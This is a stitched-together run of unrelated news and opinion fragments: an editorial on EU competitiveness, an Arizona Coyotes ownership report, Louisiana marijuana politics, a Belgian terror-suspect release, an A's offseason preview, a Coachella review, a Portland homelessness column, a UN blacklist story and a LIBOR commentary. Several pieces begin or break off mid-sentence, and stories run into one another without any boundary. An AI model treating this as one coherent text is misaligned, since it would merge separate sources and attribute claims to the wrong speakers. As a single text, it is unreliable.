Worldwide, Germany's dual education system is regarded as a model. Should Spain or Greece want to introduce the system, the governments cannot expect immediate results, however. Businesses in countries suffering from the crisis often shy away from the costs of training an apprentice, for example. They, too can only benefit from such reforms with quite a time delay.
To actually solve the problem, people will have to delve much deeper - which leads to a remark German Chancellor Angela Merkel made in the Bundestag and in Brussels: the fact that it is not important to access more and more funds, but to improve competitiveness. The remark has not been well-received in Athens, Madrid and Paris - but it is correct. Competitiveness is Europe's foremost long-term task, in particular for the south, but in the end for everyone.
If companies are not competitive, subsidized training will not do them much good. If authorities hamper entrepreneurs more than they support them, and burden them with too many taxes, they will not start companies. If corruption is rampant, it is a waste of money and time. In a nutshell: the environment has to be right.
It is up to the governments
The European Union cannot regulate that environment - that is up to the individual states. This is where the issue comes full circle: recently French President Francois Hollande was upset when the European Commission, as is its duty, suggested France implement certain reforms. Mind you: it was a suggestion, not a demand. Paris saw the advice as an order, and the dispute even overshadowed this recent summit.
One thing is clear: those who refuse, like Hollande, to create important conditions for more employment while loudly complaining about unemployment and pointing a finger at others, has lost every shred of credibility.The NHL’s problem child franchise in Phoenix is about to change hands again, The Post has learned.
Andrew Barroway, who attempted to buy the Devils two years ago and believed he had an agreement to buy the Islanders earlier this year before Charles Wang switched course and instead reached a deal with Jonathan Ledecky, is in advanced negotiations to purchase 51 percent of the rebranded Arizona Coyotes, according to informed sources.
The sale of the troubled franchise, which has been in financial distress even prior to moving from downtown Phoenix to Glendale in 2003-04 after previously relocating from Winnipeg for the 1996-97 season, is expected to be completed within the month.
As part of the deal, Barroway would agree to drop his $10 million lawsuit against Wang in which he alleges that the Islanders’ owner reneged on an agreement to sell him the Brooklyn-bound franchise.
NHL deputy commissioner Bill Daly declined comment when contacted by The Post. Barroway did not respond to email requests, and a Barroway associate also declined comment when reached by phone.
IceArizona — under the Renaissance Sports and Entertainment umbrella — has owned the Coyotes for one season after purchasing the franchise last year from the NHL, which had owned and operated the franchise since it plunged into bankruptcy in 2009. The group would maintain a 49 percent interest in the franchise under this purchase agreement with Barroway.
RSE, which feted itself in an on-ice ceremony at last season’s opener, agreed to buy the franchise after striking a deal on a lease for the arena in Glendale that contains an out-clause after five years (following 2017-18) if losses total $50 million during that term. The Post has been told that the franchise is claiming losses of $24 million for last season alone.
A separate source told The Post the NHL has been seeking investors for the franchise over at least the last few weeks.
Sources further report Barroway, a Philadelphia-based hedge fund manager, is buying 51 percent based on a recent $305 million valuation of the franchise, which was purchased by RSE for a reported $170 million. The NHL had paid $140 million to get the team out of bankruptcy.
— Additional reporting by Josh KosmanAfter failing to pass a medical marijuana bill last year, state Sen. Fred Mills, R-Parks, is telling supporters he will return in 2015 with legislation that focuses on different applications like oils and pills.
Sen. Fred Mills
After failing to pass a medical marijuana bill last year, state Sen. Fred Mills, R-Parks, is telling supporters he will return in 2015 with legislation that focuses on different applications like oils and pills.
Danny Ford, lobbyist for the Louisiana Cannabis Industry Association, said narrowing the focus of such a proposal is a smart move.
"We‘ve got to find a way to get something passed," he said. "We‘re excited about further exploring both the medicinal and agriculture sides of this issue."
Ford said LCIA will also gear up next year to help educate the |
terrorist activities.
Police wiretapped Khayari’s phone shortly after he returned to Belgium in May, 2013. He confessed to brutally decapitating a Syrian soldier during a conversation with a friend.
“It was an enemy of Allah, that’s why I cut his head off,” Khayari said in the recording, according to Belgian newspaper Het Laatse Nieuws.
The prosecutor advised that Khayari should remain in detention as he poses a threat to the public. The judge couldn’t justify this assessment and decided to release Khayari until the appeals process is finalized, which could take several months.
Khayari left for Syria in late 2012, but returned to Belgium six months later after suffering a punctured lung from a bullet wound. He claims he volunteered at a hospital for moderate opposition forces.
The decapitation is not part of the trial, as investigators haven’t been able to figure out the circumstances around it.
The recordings further reveal that Khayari had a close relationship with former “Sharia4Belgium” leader Jean-Louis David. “Sharia4Belgium” recruited dozens of young Muslims to terrorist organizations, including a number of suspects from the Paris and Brussels terrorist attacks.
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https://www.savemysweden.com/germans-want-merkel-out/The A’s must address the left side of their infield this offseason.
Guaranteed Contracts
Arbitration Eligible Players (estimated salaries)
Free Agents
Back in Spring Training, when fans, writers and analysts were compiling lists of offseason winners, the A’s weren’t mentioned nearly as often as teams like the Marlins and Angels. As it turns out, GM Billy Beane did just fine last winter. The A’s won their division in 2012, improving their record by 20 games and establishing themselves as a contender in the American League.
As the 2012-13 offseason approaches, Beane finds himself facing some familiar challenges. The Athletics’ future in Oakland remains unclear and their payroll remains modest. Plus, Oakland needs answers on the left side of the infield to repeat as AL West winners in 2013.
Beane started making offseason moves early, sending Cliff Pennington to Arizona in the deal that brought Chris Young to Oakland. This move makes lots of sense for Oakland, since they obtain an up-the-middle player with some offensive skills. That said, it didn’t address any of the Athletics’ primary offseason needs — in fact it heightened the team’s need for a shortstop.
The primary challenge for Beane this winter appears to be finding a shortstop. Now that Stephen Drew has hit free agency, there are no guarantees he’ll return. If the scarcity of free agent shortstops leads to a bidding war for Drew’s services, it’s hard to imagine the A’s winning. And even if Oakland does outbid other interested teams, Drew could spurn them for another city. It wouldn’t be the first time a free agent position player has resisted overtures from Beane & Co.
This year's free agent shortstop class doesn't include standout players besides Drew and former Athletics infielder Marco Scutaro. At this point it seems likely that Scutaro will re-sign across the bay in San Francisco, which means Beane must also explore the trade market.
Acquiring Elvis Andrus from the Rangers won’t be easy for any team, especially one that recently unseated Texas atop the AL West. Yunel Escobar figures to be available, and Jhonny Peralta could be moved. I think it also makes sense for the A’s to inquire about players such as Jed Lowrie, Josh Rutledge, Asdrubal Cabrera and — why not? — Jose Reyes.
While Beane recently expressed confidence in Josh Donaldson as a long-term option at third base, the A's could consider going outside of the organization at the position. Donaldson, a converted catcher, has a.232/.280/.386 batting line at the MLB level, so the A's must be realistic about what he can offer to be sure they're not looking for third basemen midway through the 2013 season. It's hard to imagine the A's trading for any of the prominent, high-salaried third basemen who could become available this offseason. Instead, they should watch the Cardinals on the off-chance Matt Carpenter becomes available. The left-handed hitting 26-year-old could complement the right-handed hitting Donaldson and provide Oakland with depth.
When the A’s engage other teams in trade talk this offseason, the topic of Oakland’s outfield depth will surely arise. However, Beane maintains that he's not looking to make a trade, according to Susan Slusser of the San Francisco Chronicle. The A's have four outfielders for three spots, and that’s not counting designated hitter Seth Smith or first baseman Brandon Moss. Coco Crisp could appeal to teams such as the Mets, Indians and Orioles. Or Beane could do what he did last offseason and trade highly-regarded, controllable players such as Josh Reddick or Yoenis Cespedes. At this point it’s easiest to envision a deal involving Crisp. Bay Area native Jonny Gomes figures to sign elsewhere in free agency given the composition of Oakland's roster.
Assuming the A’s expect some combination of Scott Sizemore and Jemile Weeks to handle second in 2013, they have solid internal options at every position except shortstop and third base. The pitching staff also seems strong, though more depth never hurts.
Beane already signed Bartolo Colon to a one-year contract — a depth move that makes sense considering the reality that injuries strike every year. The A’s say they’re still interested in re-signing Brandon McCarthy, even after agreeing to terms with Colon. While that may well be true, McCarthy could become prohibitively expensive if rival teams overlook his health issues and offer multiyear deals. It's not easy to win bidding wars with one of the league's smallest payrolls.
Oakland exercised Grant Balfour’s 2013 option, so the Australian right-hander will be back for another season. Ryan Cook, Jerry Blevins, Jordan Norberto and Sean Doolittle will return to what projects as an above-average bullpen for 2013. The A’s won’t have to spend on free agent relievers the way they did two winters ago, at the time they signed Balfour and Brian Fuentes.
The team's class of arbitration eligible players includes two players — Daric Barton and Adam Rosales — who could be non-tendered. There's also a chance Beane could complete a trade involving Barton, who led the American League in walks two years ago. Though the group doesn't include any clear extension candidates, the A's could explore multiyear deals with pre-arbitration eligible players. They've made a habit of extending starting pitchers early on, so Tommy Milone or Jarrod Parker could be next.
The A's might not be any closer to resolving big picture questions about their home city and stadium, but at least their roster seems strong. It lacks balance now, with questions on the infield and an abundance of outfielders. Expect Beane to restore some balance in the months ahead.
Photo courtesy of US Presswire.by
Coachella Weekend 1 came and went like a flash as it usually does. The build up is the slow part: You make your predictions, do your homework after the lineup drops, fret over the soul-crushing set times – then throw your plans in the trash and have some fucking fun.
Twas a unique weekend as each day was different from the other, and not just by which acts were on what stages at any given time. Friday, the masses showed up early and entry was a hassle due to it, and a few gate-crashing episodes due to slow security lines raised anxiety even before stepping foot in the concert venue itself. However, the majority did not stick around for the midnight action shared between highly buzzed acts. Saturday brought a more unified crowd to sing along to the Femmes classics and nervously await a certain special guest to make an appearance with Phoenix. As a whole, this was the best day for the overall experience we have come to know and love out in Indio. Sunday was a bit mild on banner moments, and the winds seemed to dominate as a theme, both for those withstanding and those retreating the gale. Goose pimples and bandana face-masks were plentiful as the event winded down, just to do it all over again next week. Even with a musically less eventful Coachella, compared to year’s past, it was the musical adventure so many long for year round.
Here are the most memorable sets we witnessed, for better or worse.
The Shouting Matches • Gobi Tent, 2:05
Coachella Weekend 1 featured a premier performance from Justin Vernon’s über-blues project. The Bon Iver frontman played it cool most of the set behind dark glasses, laying out thick, bluesy guitar riffs. Jack-of-all-trades Phil Cook took over stage banter duties for most of the set, allowing Vernon to try his hat at slow-grinding bluesman. The Shouting Matches explored a couple lengthy jams that worked well. ~MF
Dillon Francis • 2:30
Crowds swelled rather early compared to year’s past, and many eager youths were chomping at the bit with the lengthy entry lines trying to catch the buzzy Dillon Francis. An upgraded, arena-sized Sahara tent was packed early on with throngs of fresh attendees bouncing to “Bootleg Fireworks” and other stylistic electronic mash-ups for the primarily under-21 masses. ~KQ
Jake Bugg • Mojave Tent, 3:05 TOP SET
The teenage prodigy Jake Bugg impressed thoroughly at his early tent set, but it wasn’t only due to his excellent acoustic versions of “Two Fingers” and “Simple As This.” Bugg plugged in and let loose with his electric guitar for about half the set, and these songs proved to be the most successul and surprising. The young British singer-songwriter has already honed his live skills and is worth seeing live before his next trip through the states, when he’ll be packing theater-sized venues. ~MF
Divine Fits • Outdoor Theatre, 4:35
Britt Daniel (Spoon) and Dan Boeckner (Wolf Parade) brought their newish outfit to the Outdoor Theatre for an afternoon of power-pop rock. Coupling the unmistakable vocals of Daniel with the heavy chorded guitar romp that is Boeckner added up to an impressive performance. “My Love is Real” was a highlight as drummer Sam Brown of New Bomb Turks added thick rhythm for the sun drenched crowd to sway and stomp to. ~KQ
Japandroids • Gobi Tent, 5:00
Vancouver-based duo Japandroids had a tough time getting started due to sound issues, something that permeated the Gobi Tent Friday (the sound at TNGHT & Earl Sweatshirt was muted, but FOALS sounded great). Finally the set appeared ready to begin, until Brian King ran off stage, most likely to take a piss. David Prowse followed him offstage, then they returned to the stage to start “Fire’s Highway,” and we all discovered the sound was as shitty as it was when they were sound-checking. I’ve heard Japandroids play with immaculate sound quality, so it was time to move on… ~MF
∆(Alt-J) • Mohave Tent, 5:20
This british quintet was a highlight of the day as they charmed a large crowd with their quintessentially unique take an indie rock, playing heavily off debut album An Awesome Wave. Cartoonish may be the best way to describe the singing style of Joe Newman, but once you’ve acquired the taste, it’s no joke and it shined brightly on the Mojave Stage. “Breezblocks” received a wonderful reception as revelers shook and weaved to the hypnotic rhythm while reciting the grand chorus. ~KQ
Local Natives • Outdoor Theatre, 7pm
A calm mellow fell over the crowd for the majority of the Local Natives sunset time slot at the Outdoor Theatre. Some enjoyed the slightly closer and better beer garden, while others neatly filled a sizable chunk of real estate in front of the stage. “Sun Hands” was the perfect shock to attendees before sending them back out into the great wild that is the Empire Polo Fields. ~KQ
Dog Blood • Sahara Tent, 7:40
Combine Skrillex and Boys Noize and you have the two-headed EDM monster fans are getting to know as Dog Blood. This recent collaboration made waves at Ultra this year, and they blew minds in the thickly packed Sahara for a hard driving amalgamation of many of the current electronic styles. The sound resonating from the beefed up DJ booth wasn’t fully Skrillex, nor Boys Noize, which was refreshing to hear from these two superstars. ~KQ
Yeah Yeah Yeahs • Coachella Stage, 8:40
Karen O commands crowds with the best of them, and every big performance from Yeah Yeah Yeahs confirms her place as one of the most enigmatic bandleaders of our time. She oozed intensity and sensuality while bopping all over the largest stage during hailed tracks like “Zero” and set closer “Maps.” The new tracks sounded as artsy and danceable as ever and Mosquito is sure to catch some serious attention as they prepare for a lengthy summer season. ~KQ
FOALS • Gobi Tent, 10:50-11:40 TOP SET
FOALS destroyed their set against tough competition, making everyone present forget they were missing Blur & Jurassic 5. “Inhaler” and “Milk & Black Spiders” from FOALS’ 2013 LP Holy Fire were set highlights, but tracks from all three of their full length records were present in the setlist. The British group is pure fire in concert, producing surprisingly technical live versions of their songs while at the same time extending or intensifying some sounds or instruments in response to the audience reaction in the moment. ~MF
How to Destroy Angels • Mojave Tent, 12:00 TOP SET
Trent Reznor’s new project took the stage for the second time ever, and the multi-dimensional presentation wowed the surprisingly sparse crowd in the Mojave Tent. “The Wake Up” began the set with the group veiled behind a curtain of white strings, creating an eerie outline of Atticus Ross, Rob Sheridan and the mystifying Marqueen Manndig. Presentation appeared to be key in the short time this act will be on the road before the return of NIN, even though the wall of sound aspect was a treat for the diehard fans of Reznor and everything he touches. ~KQ
Earl Sweatshirt • Gobi Tent, 12:05
Sure, Friday at midnight was undoubtedly one of the most stacked schedule times, but the lack of throngs at Odd Future wunderkid Earl Sweatshirt’s banner set showed that one can’t be in more than one place at a time, which is a massive dilemma at Coachella. New single “Whoa” was delivered confidently, even if the sound was less than stellar. Tyler, the Creator aided his LA bud on old rarity “Orange Juice” and crowd favorite “AssMilk” while climbing scaffolding and generally causing a ruckus. ~KQ
Danny Brown • Outdoor Theater, 3pm
Another moderatly hot day welcomed the wrist-banded festivilians to a more unified day and night compared to the calm finish of day 1. Detroit-born, gap-toothed hip-hop artist Danny Brown brought a feverish set of his unique brand of profane-ridden tunes to the Outdoor Theatre. His nasally delivery could be compared to Andre 3000, while his melodic flow is so neatly packed and wickedly clever it makes folks chuckle in awe. ~KQ
Zane Lowe • Yuma Tent, 3:00
The BBC 1 Radio DJ hailing from New Zealand played a spirited set of electro-house in the new official sixth stage. The Yuma Tent was an air conditioned oasis for dance purists needing a respite from the elements while also not wanting to rest their dancing feet. A hard wood floor was a proper addition to this space. Lowe kept things straight ahead, pounding the sizable system with original beats and a mixed set of dance styles before the tent packed up for The 2 Bears. ~KQ
The inaugural Yuma Tent was so intimate with such quality DJs that most festival-goers did not have the opportunity to see some highly anticipated shows. Many people bought tickets for Coachella this year so they could dance to their favorite progressive DJs, but ultimately you had to sacrifice lots of other shows and wait in long lines to experience the Yuma Tent. This should be remedied for 2014, as Jamie xx would have probably filled out the Mojave Tent. Make the Yuma Tent bigger.
Ben Howard • Outdoor Theatre, 4:10
Ben Howard, another Brit, brought his soft semi-folk-rock material to a scorching Outdoor Stage, and the tunes he played were pretty standard. That is until “The Fear,” which built to an explosive peak not captured on Every Kingdom. It might have made sense to put 2 Chainz on the Outdoor and Ben Howard in the Mojave Tent based on the crowds. ~MF
Violent Femmes • Coachella Stage, 6:05
Many weren’t aware that this was to be the first show from the folk-punk legends in over six years. Furthermore, many of the younger patrons were likely completely unfamiliar with this act besides the occasional play on KROQ and other national alternative rock radio stations. What a surprise when they launched into their self-titled premier album, playing it in full. Classics like “Blister in the Sun,” “Add It Up,” and “Gone Daddy Gone” were passionately crooned by the majority of the crowd. ~KQ
Major Lazer • Mojave Stage, 6:25
Why Major Lazer didn’t play the Sahara is a mystery to me, but the EDM masses made the rare pilgrimage to Mojave to lap up Diplo’s worldly party. A frenetic set kept everyone jumping to Major Lazer hits like “Pon de Floor” and the ubiquitous Baauer banger “Harlem Shake” alike. Jillionaire is one helluva hype man keeping the crowd fully engaged at every track, instructing the crowd to remove their shirts, hold them in the air, eventually demanding they be tossed into the desert air in dance ecstasy. Many bros obliged. ~KQ
Hot Chip • Coachella Stage, 7:35
What a perfect sunset Saturday dance party. It was a set full of hits like “One Life Stand,” “Over and Over,” & “Ready For The Floor,” along with the amazing “Flutes.” This show conflicted with Yeasayer, Grizzly Bear, & Julio Bashmore, so there was plenty of room to shake it. Guitarist Pat Mahoney, also from LCD Soundsystem, added a busy 70’s guitar riff to many songs, including most of the new tracks from In Our Heads. ~MF
The Postal Service • Coachella Stage, 8:50 TOP SET
The Postal Service show was surely one of the best pop sets of the weekend thanks to Jennie Lewis. Ben Gibbard, Jimmy Tamborello & Jen Wood were flawless as well, but Lewis’s sultry charisma, timing and all-around perfection made this a top set for me. From the building beat in “The District Sleeps Alone Tonight” to the outro of “Brand New Colony,” where “everything will change” was repeated until the session ended, the crowd was zoned in. As the last line was harmonized, I looked up to see all the Coachella spotlights meeting at a point in the sky directly above us and instantly was struck by goosebumps. ~MF
Descendents • Outdoor Stage, 9:05
Milo Aukerman and band were treated to an evening slot on the 2nd largest stage, up against the breezy Postal Service reunion. Manhattan Beach local punk legends treated their fans to classics like opener “Everything Sucks,” “Suburban Home,” and “I’m the One.” Though Aukerman’s voice is not the youthful squeal it once was, they still deliver in a pleasing way, especially to a home town-ish crowd that grew up on their classic releases. ~KQ
Moby (DJ set) • Sahara Tent, 9:55
It was another tough conflict-ridden time slot, as The xx, Two Door Cinema Club, Janelle Monáe & Franz Ferdinand all rubbed up against one-another. So how the hell did I end up at Moby? It’s a good question, and one I haven’t quite figured out yet. Sometimes, after all the planning, it’s best to go by your mood and follow your friends. That’s what happened here, and I’m glad I did. I was prime for for a euphoric dance party, and this DJ set from Moby sampled from a large variety of music and pop culture to create a fun, upbeat show. ~MF
Phoenix • Coachella Stage, 11:35
When Daft Punk is confirmed in the house, and they play a preview video the night before, and you consider Daft Punk showed up with Phoenix at Madison Square Garden in 2010, it’s kind of a no brainer to see the Phoenix set just in case. Well I became a sucker to the Daft Punk hype machine, but in this case I still won because I saw Phoenix perform live. R Kelly appeared as the special guest, spittin’ “Ignition” over a remixed “1901” and “Chloroform.” Thomas Mars has been finishing his recent shows by going to the back of the venue, thanking the audience, then crowd surfing back to the stage. Well, the crowd surfing didn’t quite work so well for the first festival try. Mars got hung up by grabbers multiple times, almost hung himself with his pink microphone cable, and he got knocked around on the dismount. The rest of the band had already extended the “Entertainment” reprise multiple times, and Mars was too winded to deliver the final line of the night. All he could get out was “Thank you Coachella!” I wonder if he’ll attempt this again Weekend 2. ~MF
Sigur Rós • Outdoor Stage, 11:50 TOP SET
While a sizable chunk of the crowd awaited what potential surprise guest may come out with Phoenix on the Main Stage, a devote crowd enjoyed the sonic brain massage that is Iceland’s own Sigur Rós. Having seen this band since their first US performances, they are best enjoyed outside, whether it be in the fog swept fields of Golden Gate Park or the warm Indio evenings. The set featured a horn section, string section and a full piano, not to mention the Hopelandish, angelic singing and bowed guitar brilliance of frontman, Jónsi. Few live musical experiences can match up to the usual set closer, “Untitled #8,” and this rendition was no different. Truly one of the most transcendental builds in live music, it left most viewers floating out of the venue for the wrap to the second day. ~KQ
DIIV • Mojave Tent, 2:30
Zachary Cole Smith has had a busy year after departing from Beach Fossils, but his diligence has paid off in dividends as DIIV has quickly garnered critical success as they win over new fans across the country. “Sometime” and “Doused” displayed their art-gaze rock style quite nicely among other tracks off the sublime album Oshin. ~KQ
Thee Oh Sees • Gobi Tent, 3:15 TOP SET
John Dwyer brought his disturbingly rocking flavor of psychedelic garage to the Gobi Tent for an unforgettable afternoon set. There was no let up after the first note (“The Dream”) as the pit grew and more joined in the pogo fever that swept the crowd during tracks like “Contraption/Soul Desert,” “Lupine Dominus,” and “Meat Step Lively.” Dwyer pulled Ty Segall from the VIP section to play tambourine the majority of the set, a nod to the tightness of the San Francisco garage-rock family. Look for a whirlwind summer as they release the scorching new album The Floating Coffin. ~KQ
Jessie Ware • Mojave Tent, 3:45
Jessie Ware is a star in the making. Her pop music has a dance edge to it, but it’s her natural charisma and mannerisms that communicate so effectively to the audience, making her super likable. She has a killer smile and knows she’s hot shit. “If You’re Never Gonna Move,” “Wildest Moments” and the rest of her tracks were well received, including an impromptu new song that she performed with her slightly embarrassed drummer Dornik Leigh to end the set. ~MF
Kurt Vile and the Violators • Outdoor Stage, 3:55
As the winds started to relieve the weathered festival goers, Vile brought a cool breeze of his own to the Outdoor Theatre while Gaslight Anthem wailed on the big top. Vile couldn’t help but make a quip at the Springsteen-esque vocals pumping a good hundred yards from where he was churning out laid-back tunes. Opening with the title track off his recent Wakin on a Pretty Daze displayed his fondness for his new material, especially track “A Girl Named Alex,” which is quickly becoming a fan favorite. Vile and band may have been better served in one of the tents, but nothing fazed this prolific up-and-coming song writer. ~KQ
Social Distortion • Coachella Stage, 6:00
Orange County was fully represented by the legendary punk band Social Distortion and their fondly aging frontman, Mike Ness. What an honor for them to play the Main Stage, opening with “I Was Wrong” and including their stellar version of Johnny Cash’s “Ring of Fire.” They nodded back to the old days with a personal fave “Mommy’s Little Monster.” I applaud Goldenvoice in their decision to spotlight music that is quintessential to this geographic region of Southern California. ~KQ
Tame Impala • Outdoor Stage, 6:25 TOP SET
As the gusty winds upgraded to blustery, Australian fuzz rockers churned up a storm of their own opening with “Solitude is Bliss.” Kevin Parker was visibly thrilled at the environment he found himself in, and this feeling was contagious to the crowd who were coming to the climax of their long weekend. This set was more exploratory than usual with an extended jam revolving around the heavy-as-lead single, “Elephant.” Palm trees swaying behind the Outdoor Theatre were all the visuals the fans needed, in total contrast to the Sahara rave, to reach even greater heights. “Enders Toi” was aborted as some of their equipment was giving the band trouble, luckily that didn’t distract the band from continuing on. “Half Glass Full of Wine” closed an impressive showing from the growing act that continues to thrill fans of rock and roll. ~KQ
Pretty Lights • Outdoor Stage, 7:45
The Pretty Lights show took place out in windy, open space, but that didn’t stop one of the best dance sets of the weekend. Derek Vincent Smith curated a varying set, beginning with his patented downtempo trip-hop/dubstep cuts, but then the set transitioned into Pretty Lights remixes, including Pink Floyd’s “Time” and his tripple-threat remix of Radiohead, Nirvana & NIN. Overall, the set was geared toward the masses or for someone’s first Pretty Lights show. Of course, the open air light show was excellent, and it didn’t matter that the screens had been lowered due to the sandstorm. ~MF
The Faint • Mojave Tent, 8:30
Post-punk dance act the Faint have returned to the live circuit and regained their title as one of the most exciting bands to see, especially in a festival setting. Todd Fink sauntered out with his signature hat and launched into “The Conductor” before tearing through favorite “Glass Danse” off of the acclaimed album, Dance Macabre. With dance music and live rock becoming better bed fellows, one has to respect one of the originators from the last decade. “ParanoiaAttack” would be their last song, and everyone caught their breath before facing the now moderate sandstorm wreaking havoc on the polo fields. ~KQ
Eric Prydz • Saharah Tent, 10:40 TOP SET
Choosing Eric Prydz to end the weekend was a rather easy choice, and it was done before we knew it would be smart to hide in the Sahara Arena to avoid the weather. The LA-Based Swedish DJ is worthy of headliner status at this point, as his progressive electro house is eclectic enough, unpredictable most of the time, and beyond fun. Prydz provided a massive exclamation point to a weekend that was packed with excitement. His hyperactive M83 cover of “Midnight City” was placed perfectly, and “Call On Me” signalled the end to the weekend musically. That was until the roadies decided to prank the buzzing crowd, continuously coming back and putting their arms in the air to falsely signal one more song. ~MF
What were your top sets? Leave a comment!
Advertisementshomelessness in Portland
A man sleeps on a park bench near the Steel Bridge in downtown Portland.
(Motoya Nakamura/staff)
I arrived in Old Town Portland 20 minutes early for my interview with Street Roots director Israel Bayer, so I sat in my car parked near Third and Davis and just watched.
I saw two bundles in the doorways to the left of me. I couldn't tell if they were sleeping people, or just bundles of stuff.
To my right, I watched a man stop near my car, stand with his head against a brick wall, and begin sobbing. Another man, with a thin fleece blanket wrapped around his shoulders, came up and held him. They stood there, hugging, rocking, maybe grieving, for about two minutes.
Passersby ignored them.
A range of possible reactions ran through my mind. Should I say something? Should I lean the seat back and hide? Should I make eye contact?
Can I help?
Can I cry, too?
I live in the suburbs, and I rarely come into Old Town. So, forgive me, reader, if you've seen all this before and long ago stopped wondering what to do about it.
But I was shocked by the homelessness around me. When I later sat down with Israel, I asked him what I should have done.
"There's no clear five-minute plan, there's nothing that's going to make you or anybody else feel more at ease in the moment," he said.
Israel Bayer
If there were such a simple way out, a better way forward, Israel would have long ago discovered it. Since 2003, he's served as director of Street Roots, a newspaper sold by the homeless. He's seen far worse things than the human suffering I witnessed in just 20 minutes on a Thursday morning.
Is it bad, I asked, that I don't like coming to this part of town?
It depends, he said, on why I feel that way.
If it's coming from a place of disgust, maybe I need to "check" myself. There but for the grace of God...
If it's coming from a place of fear, well, everyone has their levels of comfort.
But it's neither of those. It's stressful. I don't know how to help, so selfishly, I don't want to face it.
There is no Miss Manner's Guide to etiquette when it comes to interactions with the homeless. There is no "right thing" to do. There is nothing to make you feel good about yourself when you see suffering up close and personal.
Most of us would stop and help if we saw someone on the side of the street who'd been hit by a car. There's a clear course of action for that: Call 911.
There is no homeless 911. (NOTE: There should be.) And so with no clear means of helping, we form a coping mechanism of ignoring it, or justifying it.
We tell ourselves these people are addicts or mentally ill, and that helps us classify them as "others," not like ourselves. That makes it easier to keep on walking.
I heard Israel speak at TEDx Portland, a recent day-long conference of "ideas worth spreading." Israel spoke about homelessness, and he said "compassion fatigue" is one of the biggest threats to addressing our country's homeless crisis.
Compassion fatigue happens when good people see suffering so often, they start to feel it's inevitable - normal, even - and there's nothing they can do.
But homelessness is not normal.
Modern homelessness, he said, is largely borne from massive cuts to federal housing programs in the 1980s. Between 1978 and 1983, the federal budget for housing shrank from $83 billion to $18 billion, "and mass homelessness in America began," Israel said during his TEDx talk. "Those federal cuts have never been restored, and we have turned hundreds of thousands of people out onto the streets."
Homelessness forces good people into situations where they only have bad options.
And that applies whether you're living on the streets and living among people living on the streets. Of our options to help in that moment like I experienced, none are great.
If I offer food, is it demeaning? Is it worse to throw away leftovers when someone nearby doesn't have a meal at all?
If I start a conversation, will this person be unstable?
Is it right to give money? I'm not just talking about panhandlers. Is it right to offer it, unasked? Is what they do with it my business?
As a community, we still haven't decided what the right thing is. A recent billboard telling would-be do-gooders that giving spare change to homeless people funds addictions was eventually taken down for just that reason.
Street Roots is great because it provides clear parameters for a "normal" interaction between homeless and home-having people. It cuts through the idea of "otherness" that is so divisive in today's politics. The homeless are not faceless others. They are people with whom we share a common humanity.
It can be hard to know where to begin a conversation with a homeless person. "I'll take a copy" is a great place to start.
Solving the homeless crisis will take policy changes, at the local, state and federal level. But what do you do, today, as an individual, for a person on the street? Urge them to vote for an affordable housing measure in November? Tell them to write a congressman?
"Look people in the eyes and simply acknowledge they're human beings," Israel suggested. "I know that this may sound simple and it may sound cheesy, but... I believe human connectivity is very powerful."
Multnomah County's 2015 homeless count found that 33 percent of people living on the streets self-identified as having mental health issues; 32 percent said they have substance abuse issues.
But it's a copout to tell yourself that every homeless person is "other," unlike us. About half in the county survey had been on the streets for less than a year.
When it comes to food, Israel said he will offer his restaurant leftovers to someone on the street. Most of the time, they'll gladly take it.
If you want to give money, Israel has a personal philosophy: Each day in Portland, the first person to ask him for a cigarette and the first person to ask for a quarter or a dollar, gets it. He doesn't give to anyone else the rest of the day.
"It's a way for me to not feel like I'm tuning out or turning away folks, while at the same time not having to have an existential crisis or a moral dilemma," he said. "It also allows me not to care what they do with their money... I just don't want to think about that stuff."
-- Samantha Swindler
@editorswindler / 503-249-4031
[email protected] NATIONS -- Secretary-General Ban Ki-moon said Thursday he temporarily removed the Saudi-led coalition in Yemen from a U.N. blacklist for violating child rights because its supporters threatened to stop funding many U.N. programs.
Ban said he had to consider "the very real prospect" that millions of other children in the Palestinian territories, South Sudan, Syria, Yemen and many other places "would suffer grievously" if U.N. programs were defunded.
"This was one of the most painful and difficult decisions I have had to make," he said.
U.N. secretary-generals are always subject to pressure from the 193 member nations. But in a rare rebuke, Ban said in this case some unnamed countries had gone too far, declaring "it is unacceptable for member states to exert undue pressure."
CBS News foreign affairs analyst Pamela Falk says Ban's admission to having bowed to that pressure is remarkable as, "in effect, he acknowledged that he caved in to extortion, even if for the sake of children falling into despair if funds were to be cut."
"It seriously undermines the credibility of the U.N.," Falk added.
The secretary-general was responding to what he called the "fierce reaction" to his decision, which was denounced by human rights groups. They accused the U.N. chief of caving in to Saudi Arabia and said the U.S.-backed coalition belongs on the list for its attacks on children, schools and hospitals.
Ban said he stands by his annual report on children and armed conflict, which "describes horrors no child should have to face."
Humanitarian disaster unfolding in Yemen
The report said the U.N. verified a total of 1,953 youngsters killed and injured in Yemen in 2015 - a six-fold increase compared with 2014 - and it attributed about 60 percent of those casualties to the coalition. The U.N. said it also verified 101 attacks on schools and hospitals last year, double the number in 2014, of which 48 percent were attributed to the coalition.
Ban said he decided "to temporarily remove" the Saudi-led coalition countries from the blacklist of governments and armed groups violating children's rights pending a joint review of cases with the Saudis.
"We will assess the complaints that have been made, but the content will not change," he said.
Ban did not say explicitly that the coalition could go back on the list after the review.
But the secretary-general did say that in response to concerns from Saudi Arabia and other governments the U.N. is considering if there is a better way to distinguish countries from "terrorist and extremist groups" who are now listed together on the blacklist.
Saudi Arabia's U.N. Ambassador Abdallah Al-Mouallimi told reporters shortly afterward that "It is our firm belief that this de-listing is final, irreversible and unconditional, and when all the facts are in that will be further |
otherwise might have done.
Now What?
So far, Barclays has paid $340 million in fines, and 16 other large institutions are under investigation in the U.S. and Europe. It remains to be seen what changes, if any, to the process for setting LIBOR rates will be enacted, and how that will affect interest rates going forward. However, it is clear that this type of collusion does perceptible damage to the markets’ view of the banking industry, and adds to the feeling that the regulators are not able to stamp out market manipulation. With that said, investors should know that the concept of LIBOR remains a great idea – collecting information about lending from the biggest lenders, and then base market interest rates off of that information. Hopefully, regulators in the U.S. and abroad can find some way to keep the best part of the process, while removing the deception.
As an investor, everything I’ve read and seen on this situation tells me to continue to stay away from the financial sector as an investment given the uncertainty not only of how this scandal will play out, but also how the changes to the LIBOR rate process are likely to negatively affect their profits in the future. Additionally, it should remind you to negotiate vigorously on the interest rate for every type of borrowing you do – or hire a competent advisor to help you with the process.
